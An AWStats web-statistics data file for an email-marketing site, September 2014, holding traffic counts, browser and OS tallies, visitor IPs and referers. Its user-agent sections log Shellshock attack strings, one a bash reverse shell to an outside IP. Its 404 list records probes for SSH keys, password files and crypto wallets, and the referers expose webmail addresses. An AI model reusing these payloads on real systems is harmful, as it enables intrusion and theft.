AWSTATS DATA FILE 7.0 (build 1.971)
# If you remove this file, all statistics for date 201409 will be lost/reset.
# Last config file used to build this data file was /home/emarket2/tmp/awstats/awstats.emarketing.pe.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 27
POS_GENERAL 2007                
POS_TIME 2676                
POS_VISITOR 18052               
POS_DAY 53753               
POS_DOMAIN 3501                
POS_LOGIN 4083                
POS_ROBOT 4238                
POS_WORMS 4565                
POS_EMAILSENDER 4696                
POS_EMAILRECEIVER 4839                
POS_SESSION 54626               
POS_SIDER 54840               
POS_FILETYPES 4974                
POS_DOWNLOADS 5286                
POS_OS 5724                
POS_BROWSER 5907                
POS_SCREENSIZE 6986                
POS_UNKNOWNREFERER 7060                
POS_UNKNOWNREFERERBROWSER 8252                
POS_ORIGIN 9042                
POS_SEREFERRALS 9187                
POS_PAGEREFS 9352                
POS_SEARCHWORDS 14177               
POS_KEYWORDS 14457               
POS_MISC 2339                
POS_ERRORS 14646               
POS_CLUSTER 3939                
POS_SIDER_404 14783               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20141001005927 227 54599 9630292900014
FirstTime 0
LastTime 20140930214317
LastUpdate 20141001070216 227 0 225 1 0
TotalVisits 1672                
TotalUnique 895                 
MonthHostsKnown 0                   
MonthHostsUnknown 942                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
AddToFavourites 0 20 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 28 54 1969937 14 16 226
1 12 25 1015530 12 14 0
2 16 32 1206052 9 10 226
3 14 23 244588 6 7 452
4 8 26 1368402 8 12 321224
5 3 12 129 10 10 0
6 15 36 926130 8 11 452
7 42 84 4151280 75 80 0
8 157 443 19208108 29 37 171644
9 296 754 14525878 47 55 1111362
10 613 1331 23055039 42 49 974653
11 807 1485 40275454 157 169 307475
12 521 809 16396500 102 111 0
13 393 570 14899403 84 95 271045
14 375 756 24067689 49 56 556852
15 619 1148 39902708 59 63 34108
16 459 887 60752999 43 58 33324
17 574 1076 39361405 117 133 309287
18 772 1303 37029780 128 135 137815
19 113 199 12775664 19 26 0
20 54 131 12053291 14 16 0
21 58 136 11127082 9 12 226
22 57 121 7789770 14 16 226
23 40 90 6419811 12 13 678
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 28
pe 4820 9039 174656242
us 879 1718 186982131
ar 239 591 23024441
jp 30 30 2974
mx 10 17 771319
nl 10 13 250809
es 9 23 1190612
gb 6 6 12516
ca 6 12 543342
vn 4 4 172
fr 3 5 190859
ch 3 5 190859
co 3 6 400062
br 3 27 514339
it 3 8 435232
ve 3 8 435232
pa 2 2 86
de 2 2 86
an 2 6 352569
ua 1 1 0
md 1 1 0
cl 1 1 43
ph 1 1 0
cn 1 1 0
hn 1 1 43
cr 1 1 43
dk 1 1 0
ec 1 1 43
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 6
no_user_agent 23 0 20140930072119 0
googlebot 11 0 20140926161455 0
netcraft 3 0 20140911184205 0
bot[\s_+:,\.\;\/\\-] 2 0 20140922215632 0
spider 1 0 20140919214006 0
slurp 1 0 20140922172803 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 13
css 301 1610810 0 0
png 627 186637632 0 0
pdf 7 3315819 0 0
cgi 1 6350 0 0
htm 6 72023 0 0
txt 20 594 0 0
swf 28 18729844 0 0
php 5907 26152826 0 0
html 102 25946 0 0
xml 2 15610 0 0
jpg 2124 131995265 0 0
js 867 19234704 0 0
gif 1539 2156631 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 7
/panel/admin/functions/amcharts/amcharts_key.txt 18 0 594
/panel/documentation/Interspire%20Email%20Marketer%20-%20Installation%20Guide.pdf 2 0 143192
/manuales/Crear_Campana.pdf 1 0 537198
/manuales/Crear_Plantillas_Personalizadas.pdf 1 0 549626
/manuales/Agregar_Contactos_a_la_Lista.pdf 1 2 1137150
/manuales/Estadistica.pdf 1 0 478210
/manuales/Crear_Listas_De_Contactos.pdf 1 0 470443
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS 13
linuxandroid 283
macintosh 1
winlong 21
winxp 3385
unix 3
winnt 79
win98 2
linux 8
winvista 1108
win7 5677
macosx 673
winunknown 7
Unknown 286
END_OS

# Browser ID - Hits
BEGIN_BROWSER 60
safari7.0 20
msie6.0 16
chrome37.0.2062.124 172
chrome37.0.2062.117 5
firefox5.0 1
chrome18.0.1025.308 2
chrome29.0.1547.57 1
firefox3.0.7 818
chrome32.0.1700.72 4
safari10.1.0.4633 1
android 192
chrome12.0.742.91 1
firefox4.0 1
chrome33.0.1712.4 2
chrome36.0.1985.125 4
chrome33.0.1729.3 8
chrome12.0.742.112 4
opera9.80 7
chrome23.0.1271.95 4
lotus\-notes 80
safari6.1.4 8
safari10.1.0.1720 1
firefox31.0 1282
chrome33.0.0.0 5
msie8.0 236
iphone 375
msie7.0 3293
firefox16.0 2
chrome37.0.2062.120 787
chrome34.0.1847.116 15
safari8.0 2
chrome33.0.1750.146 17
msie9.0 71
chrome33.0.1750.514 1
chrome37.0.2062.103 662
chrome31.0.1650.59 1
firefox27.0 13
Unknown 55
chrome37.0.2062.94 9
chrome30.0.0.0 36
safari10.2.1.1925 4
firefox32.0 1726
chrome25.0.1364.123 3
chrome34.0.1847.131 2
safari7.2.1.0 3
lg\- 28
safari6.0 3
firefox30.0 4
firefox12.0 22
safari7.0.6 7
chrome35.0.1916.114 1
chrome36.0.1985.135 4
chrome36.0.1985.143 134
mozilla 1225
chrome35.0.1916.153 6
msie10.0 135
safari5.1.9 3
svn040 6
firefox10.0.2 1
safari 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 14
Mozilla/5.0_(BB10;_Touch)_AppleWebKit/537.35__(KHTML,_like_Gecko)_Version/10.2.1.1925_Mobile_Safari/537.35_ 20140919205707
\ 20140909001842
()_{_:;_};_/bin/ping_-c_1_104.131.0.69 20140925165951
Mozilla/5.0_(BB10;_Kbd)_AppleWebKit/537.10__(KHTML,_like_Gecko)_Version/10.1.0.1720_Mobile_Safari/537.10_ 20140908170936
Mozilla/5.0_(BB10;_Kbd)_AppleWebKit/537.10__(KHTML,_like_Gecko)_Version/10.1.0.4633_Mobile_Safari/537.10_ 20140908122403
shellshock-scan_(http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 20140924222852
masscan/1.0_(https://github.com/robertdavidgraham/masscan) 20140927030245
()_{_:;};_/bin/bash_-c_'/bin/bash_-i_>&_/dev/tcp/195.225.34.101/3333_0>&1' 20140926032535
Mozilla/5.0_(PlayBook;_U;_RIM_Tablet_OS_2.1.0;_en-US)_AppleWebKit/536.2__(KHTML,_like_Gecko)_Version/7.2.1.0_Safari/536.2_ 20140919172927
()_{_:;};_/bin/bash_-c_\ 20140928082103
()_{_:;};_/bin/ping_-c_1_198.101.206.138 20140925083623
Mozilla/4.0_(compatible;) 20140930224101
Cloud_mapping_experiment._Contact_research@pdrlabs.net 20140930134441
Mozilla/3.0_(compatible;_Indy_Library) 20140901194207
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 11
\ 20140909001842
Microsoft_Office/14.0_(Windows_NT_6.1;_Microsoft_Outlook_14.0.4760;_Pro;_ms-office;_MSOffice_14) 20140908111344
()_{_:;_};_/bin/ping_-c_1_104.131.0.69 20140925165951
shellshock-scan_(http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 20140924222852
masscan/1.0_(https://github.com/robertdavidgraham/masscan) 20140927030245
()_{_:;};_/bin/bash_-c_'/bin/bash_-i_>&_/dev/tcp/195.225.34.101/3333_0>&1' 20140926032535
Microsoft_Office_Mobile_/14.0 20140909134543
Microsoft_Office_Mobile/15.0 20140924184534
()_{_:;};_/bin/bash_-c_\ 20140928082103
()_{_:;};_/bin/ping_-c_1_198.101.206.138 20140925083623
Cloud_mapping_experiment._Contact_research@pdrlabs.net 20140930134441
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 3627 6117
From1 2 2
From2 4 4
From3 99 178
From4 2314 5232
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
google 2 2
baidu 2 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 61
http://correoweb.terra.com.pe/mail/index.php 13 32
http://webmail.sanmartin.gob.pe 7 7
http://webmail.speedy.com.pe/index.php 6 12
http://mail.munipuentepiedra.gob.pe/index.php 5 5
http://mail.ipd.gob.pe/zimbra/ 4 11
http://correo.accesocrediticio.com 3 3
http://webmail.utominaga.edu.mx 3 4
http://mailofp.petroperu.com.pe/mail1/rmorquencho.nsf/0/3A5182417BDF1A32FC7316703654980A/ 2 2
http://mail.dpcomunicaciones.com.pe:2405/Main/frmMessage.aspx 2 2
http://webmail.hostingperu.com.pe/cpsess26539424/3rdparty/roundcube/ 2 2
http://mailofp.petroperu.com.pe/mail6/frosales.nsf/0/4BC426455F0D7F26EC31297D1B9184DD/ 2 2
http://mailofp.petroperu.com.pe/mail7/jmarcos.nsf/0/C6EF9929D970B49C5B9744D42C32FE46/ 2 4
http://w2.samsung.net/service/ml/RecvController 2 2
http://mailofp.petroperu.com.pe/mail1/tsaenz.nsf/0/21850F6E95D6F50A2A9207199F7DA457/ 1 1
http://webmail.esan.org.pe/webmail.cgi/login/l-bravo%40esan.org.pe/8EE733D978029D5390F38889C24DEE99/1411161740 1 3
http://correoole.petroperu.com.pe/mail2/myarleque.nsf/0/B3E93EA0FB33657DF5A446A25EDC6144/ 1 3
http://mailofp.petroperu.com.pe/mail4/ctan.nsf/0/895EA9BACAE9624CC4F43E5F8FDD49A8/ 1 1
http://radiocomas.com:2095/cpsess3254809375/horde/imp/dynamic.php 1 1
http://mailofp.petroperu.com.pe/mail5/mahumada.nsf/0/BB4B32E20A2B0C49A8F085C86308CE61/ 1 1
http://correorco.petroperu.com.pe/mail1/emendoza.nsf/0/B72DB73FF82031923A0925593FF42183/ 1 3
http://www.insecam.com 1 1
http://mail.lacentral.com.pe/WorldClient.dll 1 1
http://periodicopolemicamunicipal.com:2095/cpsess9449736359/3rdparty/squirrelmail/src/read_body.php 1 1
http://webmail.icpna.edu.pe 1 1
http://webmail.hostingperu.com.pe/cpsess7290670354/3rdparty/roundcube/ 1 1
http://2gangsters.com:2095/cpsess1308323077/3rdparty/roundcube/ 0 2
http://webmail.ec-red.com/webmail.cgi/login/quiqui%40ec-red.com/9D98852848D2E4ADF5FF4D681957B692/1411219245 1 3
http://correoofp.petroperu.com.pe/mail7/icuba.nsf/($Inbox)/97B14D9A1673FD722906905D87CC1BBA/ 1 3
http://webmail.leyendas.gob.pe/cpsess5627152212/3rdparty/roundcube/ 1 1
http://correoole.petroperu.com.pe/mail1/fhurtado.nsf/0/6D3DCBF541D7E9EDD09D080688BF2E82/ 1 2
http://correoofp.petroperu.com.pe/mail5/llem.nsf/($Inbox)/C2D319357BE6945F1C10E884391D5FC0/ 1 3
http://correoofp.petroperu.com.pe/mail5/llem.nsf/($Inbox)/5113048F11568599645FBD9B1162D577/ 1 3
http://webmail.ec-red.com/webmail.cgi/login/zapataob%40ec-red.com/48EBD978BA704137CE9AF69A2D7D6E3A/1411667701 1 2
http://webmail.ec-red.com/webmail.cgi/login/zapataob%40ec-red.com/CF5EA9050B32E5A0DD1082C4D3FF58EC/1411185000 1 3
http://mailofp.petroperu.com.pe/mail3/jgervassi.nsf/0/CCC85C0B499DBFCB99ED7CE0427A072E/ 1 1
http://mailrco.petroperu.com.pe/mail1/jescate.nsf/0/E362EE9576A0253AF3CE07AC1696A315/ 0 1
http://200.48.54.226/Exchange/jjcastro/Bandeja%20de%20entrada/Fiesta%20de%2042%C2%BA%20Aniversaio.EML 1 3
http://correo.muniate.gob.pe/zimbra/ 1 1
http://webmaila.juno.com/webmail/mobile2/8 1 3
http://mailofp.petroperu.com.pe/mail1/ctapia.nsf/0/07EFACDAD3A01B952616A0D2A940D8A7/ 1 1
http://correoofp.petroperu.com.pe/mail1/rmorquencho.nsf/0/2D691D82E3FB675AFE34940C1F6A45BC/ 1 3
http://correoole.petroperu.com.pe/mail1/fhurtado.nsf/0/348DDD4889072E695DD558953C80A09D/ 1 3
http://www.radiosanantonio.fm:2095/cpsess7349945616/horde/imp/dynamic.php 1 1
http://mailofp.petroperu.com.pe/mail7/jmarcos.nsf/0/357606033C2099E6E908421F6BAD9BE7/ 1 1
http://correoole.petroperu.com.pe/mail2/myarleque.nsf/0/8CBDAA103B2C45209F0761F0FA14202C/ 1 2
http://mail2.munijesusmaria.gob.pe/zimbra/ 1 1
http://correorco.petroperu.com.pe/mail1/ocaamano.nsf/($Inbox)/340546357033064BB6BE6069D50CF39C/ 1 3
http://mail.munisanisidro.gob.pe/zimbra/ 1 1
http://mail.panamericana.pe/zimbra/ 1 1
http://correo.regionica.gob.pe:8080 1 1
http://mail.vivienda.gob.pe/zimbra/ 1 1
http://correoweb.terra.com.pe/mobile/index.php 1 3
http://correoofp.petroperu.com.pe/mail6/pmendez.nsf/0/0E3A302BBEFDFACB44D04373FB69E2C5/ 1 3
http://mailofp.petroperu.com.pe/mail3/jgervassi.nsf/0/69998DFDDD779DE04A6CCC029173F8A2/ 1 1
http://correoole.petroperu.com.pe/mail2/myarleque.nsf/0/89C66DAB9F927155FA56D12D309FEF7D/ 1 3
http://correoole.petroperu.com.pe/mail2/lespinoza.nsf/0/5A33994991574D512EDA38F9512755C5/ 1 3
http://mailofp.petroperu.com.pe/mail4/ctan.nsf/0/42792F8E39742BF672B3A8D129DD90DE/ 1 1
http://correoofp.petroperu.com.pe/mail4/hdelgado.nsf/0/621FE46E437DF923678B67F61FAD234A/ 1 3
http://mailofp.petroperu.com.pe/mail2/lalvarador.nsf/0/CED2B5541A279E0A8B91F04F8DA4D17F/ 1 1
http://mailofp.petroperu.com.pe/mail4/avaliente.nsf/0/69927390EB5AE16AFEE5F981EBD1AA81/ 1 1
http://webmail.ec-red.com/webmail.cgi/login/zapataob%40ec-red.com/4E54DCF5B4616C4ECABC93A88BB80782/1411269822 1 3
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 1
http+%2f%2fwww.emarketing.pe%2fpanel%2funsubscribe.php%3fm%3d152682%26c%3d2fc131aa4d246268c486840c85f0c595%26l%3d51%26n%3d110 2
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 2
http 2
%2f%2fwww.emarketing.pe%2fpanel%2funsubscribe.php%3fm%3d152682%26c%3d2fc131aa4d246268c486840c85f0c595%26l%3d51%26n%3d110 2
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
302 818 470845
206 11 2516990
400 21 4746
301 2 474
404 220 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referer
BEGIN_SIDER_404 132
/.ssh/priv 1 -
/.bash_history 1 -
/.ssh/authorized_keys 1 -
/.purple/accounts.xml 1 -
/id_ecdsa.2 1 -
/config 1 -
/.sh_history 1 -
/identity 1 -
/.ssh/dsa 1 -
/.htpasswd~ 1 -
/xmlrpc.php 4 -
/.ssh/id_dsa.old 1 -
/.ssh/config 1 -
/CFIDE/administrator/ 2 -
http://www.k2proxy.com//hello.html 4 -
/.ssh/identity 1 -
//WebCalendar/install/ 1 -
/cgi-bin/hello 1 -
/hybridauth/install.php 1 -
//wcalendar/install/ 1 -
/.ssh/config.old 1 -
/rom-0 1 -
/id_ecdsa 1 -
/HNAP1/ 8 http://184.173.30.144/
/.passwd 1 -
/.psi/profiles/default/config.xml 1 -
/phpMyAdmin/scripts/setup.php 8 -
/.ssh/id_rsa 1 -
/.ssh/id_ecdsa 1 -
http://gameframe.net/headers 1 -
/.ssh/id_dsa 1 -
/cfg 1 -
//Calendar/install/ 1 -
/id_rsa 1 -
/cgi-bin/hi 5 -
//w6/install/ 1 -
/panel/admin/temp/newsletters/9_tmp/banner%20general.png 6 -
//web/install/ 1 -
/cgi-bin/php 1 -
/id_dsa.old 1 -
/.ssh/id_ecdsa.2 1 -
/.litecoin/wallet.dat 1 -
/.ssh/id_ecdsa.old 1 -
//webcalendar/install/ 1 -
/.ssh/id_rsa.2 1 -
/.ssh/id_rsa.bak 1 -
/docs/funcspecs/3.jsp 1 http://65.74.153.170/docs/funcspecs/3.jsp
/.ssh/id_dsa_2 1 -
/id_rsa.pub 1 -
/.ssh/id_dsa.pub 1 -
//cgi-bin/php.cgi 2 -
/id_dsa 1 -
/key.priv 1 -
/.ssh/config~ 1 -
/key 1 -
//install/ 1 -
//cgi-bin/php-cgi 2 -
/htpasswd 1 -
http://www.goldenpirates.org/proxy/azenv.php 2 -
/id_rsa.old 1 -
/known_hosts 1 -
/id_ecdsa_old 1 -
/checknfurl123 1 -
/robots.txt 17 -
/.htpasswd 1 -
/cgi-bin/test.sh 1 -
/.ssh/id_rsa2 1 -
/id_ecdsa.old 1 -
//phpadmin/scripts/setup.php 1 -
/scripts/setup.php 1 -
/CFIDE/administrator/enter.cfm 2 -
/passwd 1 -
/.ssh/id_ecdsa_old 1 -
/cgi-bin//cgi-bin/ 2 -
/webdav/ 7 -
/.history 1 -
/.ssh/authorized_keys2 1 -
/cgi-bin/ 5 -
/.ssh/id_rsa_2 1 -
/myadmin/scripts/setup.php 3 -
/password 1 -
/cgi-bin/test-cgi 1 -
/pass 1 -
/.ssh/id_ecdsa2 1 -
/cgi-bin/php.cgi 1 -
/.ssh/id_rsa.pub 1 -
/mysqladmin/scripts/setup.php 1 -
http://hotel.qunar.com/render/hoteldiv.jsp 4 http://hotel.qunar.com/
//cgi-bin/php5 2 -
/apple-touch-icon.png 2 -
/dsa 1 -
/w00tw00t.at.blackhats.romanian.anti-sec:) 3 -
/passwords 1 -
/cgi-bin/php5 1 -
/MyAdmin/scripts/setup.php 3 -
/.ssh/id_rsa.old 1 -
/cgi-bin/php4 1 -
/passwords.txt 1 -
/phpmyadmin/scripts/setup.php 3 -
//calendar/install/ 1 -
/.ssh/id_dsa.bak 1 -
/id_ecdsa_2 1 -
/server-status/ 1 -
/invoker/EJBInvokerServlet 1 -
/.mozilla/firefox/profiles.ini 1 -
/rsa 1 -
/authorized_keys2 1 -
/user/soapCaller.bs 2 -
/cgi-bin/php-cgi 1 -
/panel/admin/temp/newsletters/9_tmp/banner%20central.png 6 -
/authorized_keys 1 -
//webc/install/ 1 -
/.ssh/id_ecdsa_2 1 -
/apple-touch-icon-precomposed.png 2 -
/icons/apache_pb.gif 1 -
/test 1 -
/id_dsa.pub 1 -
//cgi-bin/php 2 -
/.ssh/key 1 -
/.ssh/known_hosts 1 -
/.ssh/id_dsa2 1 -
/.ssh/rsa 1 -
/.bitcoin/wallet.dat 1 -
/pma/scripts/setup.php 3 -
//typo3/phpmyadmin/scripts/setup.php 1 -
//cgi-bin/test.cgi 1 -
//wc/install/ 1 -
/manager/html 4 -
/webcalendar/install/index.php 1 -
//cgi-bin/php4 2 -
//mysql/scripts/setup.php 1 -
/.ssh/id_dsa.2 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 942
190.232.2.29 1116 1753 16669122 20140930183720
200.110.4.26 886 1874 14738156 20140930162829
201.230.137.19 284 1018 11623468 20140925155742
66.249.88.100 228 453 77294274 20140923094316
181.177.242.142 203 373 13041968 20140923123550
190.216.176.190 180 461 19785000 20140930164747
66.249.83.2 174 353 40829586 20140930214317
190.232.85.18 172 339 6701457 20140908181940
190.187.45.42 141 219 10063871 20140911151959
200.37.98.12 123 167 2207693 20140930181747
200.4.229.22 95 95 4534 20140919112608
190.81.148.41 54 54 2322 20140925100002
201.230.153.53 51 158 2816062 20140911180307
200.48.7.69 50 75 872356 20140929111930
200.37.165.17 42 42 1806 20140917180236
190.116.5.4 36 36 1548 20140918175303
200.60.21.9 35 212 473084 20140930214205
181.177.246.20 34 34 1462 20140924121219
190.12.65.228 34 77 2618363 20140930113700
190.81.46.226 34 34 2809 20140926104408
209.45.87.104 31 31 1333 20140918175922
200.31.110.99 27 27 1161 20140923204044
65.55.129.188 27 63 3189885 20140926195809
8.28.16.254 22 22 946 20140930153310
209.45.87.103 22 22 946 20140926110814
190.12.74.162 1 1 43 20140908164639
190.81.120.37 1 1 43 20140908111059
107.22.2.216 2 2 0 20140924072208
92.39.52.9 1 1 0 20140902121809
181.65.57.102 2 2 86 20140908145237
190.239.80.221 1 1 43 20140908134220
12.129.64.197 0 4 1706020 
190.239.83.0 0 2 853010 
181.66.92.69 3 4 129 20140915002936
65.55.157.174 9 16 1950780 20140925132413
190.40.123.206 2 6 381546 20140920195338
181.65.212.134 12 12 516 20140915180433
181.64.209.198 0 2 853010 
150.70.173.37 2 2 0 20140925100238
181.66.248.46 1 3 190773 20140919170037
68.71.44.10 2 2 0 20140914080535
190.113.210.134 3 3 129 20140908153854
104.192.0.19 1 1 0 20140927030245
190.236.11.58 0 4 1706020 
190.236.10.141 1 1 43 20140908133419
181.66.187.157 7 7 301 20140910155323
190.235.66.27 1 3 161796 20140925201805
200.121.157.99 0 2 853010 
99.36.248.32 1 1 43 20140908174905
200.121.195.118 1 1 43 20140908110902
190.232.56.199 2 2 86 20140918193012
190.232.168.183 1 1 43 20140908212806
83.53.197.34 1 1 43 20140909161441
190.233.113.105 1 1 43 20140908110419
190.234.142.95 1 1 492 20140911012211
190.234.218.174 1 1 43 20140918222119
190.116.6.43 2 2 86 20140908130232
65.55.77.30 4 16 3735718 20140925144537
200.37.27.130 2 5 108196 20140919162921
66.249.84.56 1 1 43 20140908135903
190.235.17.27 19 117 1991292 20140905110416
190.234.15.33 1 8 431176 20140903092928
200.41.104.51 1 1 43 20140908113256
157.55.43.26 2 6 352569 20140925121852
200.48.54.226 8 24 381804 20140919164951
190.236.19.249 1 1 43 20140908174559
150.70.173.45 1 1 43 20140925100812
186.165.246.216 2 5 244459 20140925183409
178.85.225.224 2 5 244459 20140925233535
190.12.78.230 8 8 344 20140908134439
200.41.111.33 2 6 323592 20140925115010
190.42.116.12 2 2 86 20140922163130
65.55.227.218 2 4 161839 20140925164636
186.160.41.165 3 5 190859 20140925233055
181.66.157.183 1 3 190773 20140919162147
190.239.73.195 2 5 244459 20140925102421
190.113.214.116 2 5 244459 20140925131701
54.76.226.181 1 1 0 20140930212902
199.52.13.129 2 2 86 20140908184130
194.230.155.142 1 3 190773 20140930152358
181.64.192.195 2 6 381546 20140919165838
150.70.97.113 1 1 21 20140908132352
181.66.229.121 1 3 190773 20140919212511
190.117.226.43 1 1 43 20140908140240
208.80.194.122 1 1 17 20140908184252
200.48.206.68 4 4 172 20140915105018
190.216.177.162 2 2 86 20140908142313
190.81.233.11 1 3 190773 20140922083113
190.113.211.64 2 5 244459 20140925104513
190.113.212.204 1 3 161796 20140926090454
190.113.215.14 2 5 244459 20140925191358
200.60.48.72 2 2 86 20140908123413
209.133.77.162 2 2 984 20140918175828
190.113.212.171 2 2 34 20140909013641
181.177.225.180 2 2 86 20140908125524
75.157.8.141 1 3 190773 20140919172927
190.113.211.136 1 1 43 20140908134510
190.113.211.181 1 1 43 20140918220306
200.48.155.202 1 3 161796 20140929093628
190.233.124.152 1 1 43 20140908204001
190.113.215.64 1 3 190773 20140920093720
190.236.92.44 1 3 161796 20140925124504
190.239.73.247 2 2 492 20140919153535
12.43.122.3 3 3 129 20140908215046
54.196.140.216 3 3 0 20140930134441
190.235.153.73 1 3 190773 20140921194616
190.239.67.75 2 5 244459 20140925122637
190.236.105.89 2 2 86 20140908191704
181.64.192.36 2 5 244459 20140925104418
190.234.131.188 0 2 0 
177.195.20.45 1 1 17 20140901194207
186.160.41.164 4 4 172 20140908164158
216.163.188.205 1 1 17 20140908105800
65.55.157.153 5 12 1306370 20140924131021
190.239.75.232 1 3 190773 20140919152914
54.91.196.43 1 1 0 20140909141151
190.113.209.0 1 1 43 20140918200618
190.216.171.2 2 2 86 20140908131658
190.113.211.15 2 5 244459 20140925103414
190.117.230.240 1 1 43 20140908123144
190.234.78.61 2 6 381546 20140919193658
190.239.80.252 4 4 172 20140908184139
54.251.83.67 1 1 0 20140926044643
190.235.42.236 1 1 43 20140908120742
190.239.72.64 2 2 86 20140908141332
161.132.64.254 1 1 43 20140908115922
181.224.248.130 1 1 43 20140908111133
190.236.18.99 1 1 43 20140918171557
181.64.175.161 1 3 190773 20140920111612
190.42.251.63 2 6 381546 20140924212724
190.239.85.242 1 1 43 20140908110523
190.113.211.225 1 1 43 20140908111223
190.236.4.178 1 3 190773 20140925103110
190.113.209.29 1 1 17 20140908184709
190.113.209.134 1 1 43 20140919000632
190.116.62.90 8 12 381804 20140925103414
157.55.0.156 5 16 946067 20140925165205
181.177.228.50 13 13 559 20140916170351
190.239.66.162 1 3 161796 20140930121822
190.113.215.171 1 3 190773 20140919223854
181.177.232.162 1 3 190773 20140922084019
190.236.98.78 1 3 190773 20140919182326
190.113.209.94 1 1 17 20140908192415
190.113.210.253 1 1 43 20140908131905
181.66.36.194 2 4 191265 20140919155739
190.43.33.224 1 3 190773 20140919163311
54.81.253.233 1 1 0 20140907025143
